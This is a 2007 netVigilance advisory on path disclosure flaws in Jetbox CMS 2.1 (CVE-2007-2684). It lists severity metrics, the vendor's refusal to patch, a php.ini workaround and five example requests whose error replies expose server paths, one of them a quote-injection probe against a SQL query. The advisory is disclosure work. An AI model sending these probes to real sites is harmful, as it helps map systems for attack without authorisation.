netVigilance Security Advisory #27 Jetbox CMS version 2.1 Multiple Path Disclosure Vulnerabilities Description: Jetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql. External References: Mitre CVE: CVE-2007-2684 NVD NIST: CVE-2007-2684 OSVDB: 34783 Summary: Jetbox CMS seriously tested on usability & has a professional intuitive interface. Security problems in the product allow attackers to gather the true path of the server-side script. Advisory URL: http://www.netvigilance.com/advisory0027 Release Date: 05/21/2007 Severity: Risk: Low CVSS Metrics Access Vector: Remote Access Complexity: Low Authentication: Not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 2.3 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: Path disclosure. SecureScout Testcase ID: Vulnerable Systems: Jetbox CMS version 2.1 Vulnerability Type: Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Vendor: Streamedge Consultancy & Development Vendor Status: Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There is no official fix at the release of this Security Advisory Workaround: Disable warning messages: modify in the php.ini file following line: display_errors = Off. Use .htaccess directives to deny access to this files (works only for Apache); Example: Path Disclosure Vulnerability 1 REQUEST: http://[TARGET]/[JETBOX-DIRECTORY]/main_page.php REPLY: ...<b>Fatal error</b>: Call to a member function on a non-object in <b>[SERVER PATH][JETBOX-DIRECTORY]\main_page.php</b> on line <b>7</b><br />... Path Disclosure Vulnerability 2 REQUEST: http://[TARGET]/[JETBOX-DIRECTORY]/open_tree.php REPLY: ...<b>Fatal error</b>: Call to a member function on a non-object in <b>[SERVER PATH][JETBOX-DIRECTORY]\open_tree.php</b> on line <b>12</b><br />... Path Disclosure Vulnerability 3 REQUEST: http://[TARGET]/[JETBOX-DIRECTORY]/outputs.php REPLY: ...<b>Fatal error</b>: Call to a member function on a non-object in <b>[SERVER PATH][JETBOX-DIRECTORY]\open_tree.php</b> on line <b>12</b><br />... Path Disclosure Vulnerability 4 REQUEST: http://[TARGET]/[JETBOX-DIRECTORY]/?view='%20AND REPLY: ...q: SELECT * FROM navigation WHERE view_name='' AND'<br /> Line: 146 <br/>File: [SERVER PATH][JETBOX-DIRECTORY]index.php... Path Disclosure Vulnerability 5 REQUEST: http://[TARGET]/[JETBOX-DIRECTORY]/admin/cms/opentree.php?task=editrecord&id[]=42 REPLY: ...<b>Fatal error</b>: Unsupported operand types in <b>[SERVER PATH][JETBOX-DIRECTORY]\includes\jetstream_core_one.inc.php</b> on line <b>110</b><br />... Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com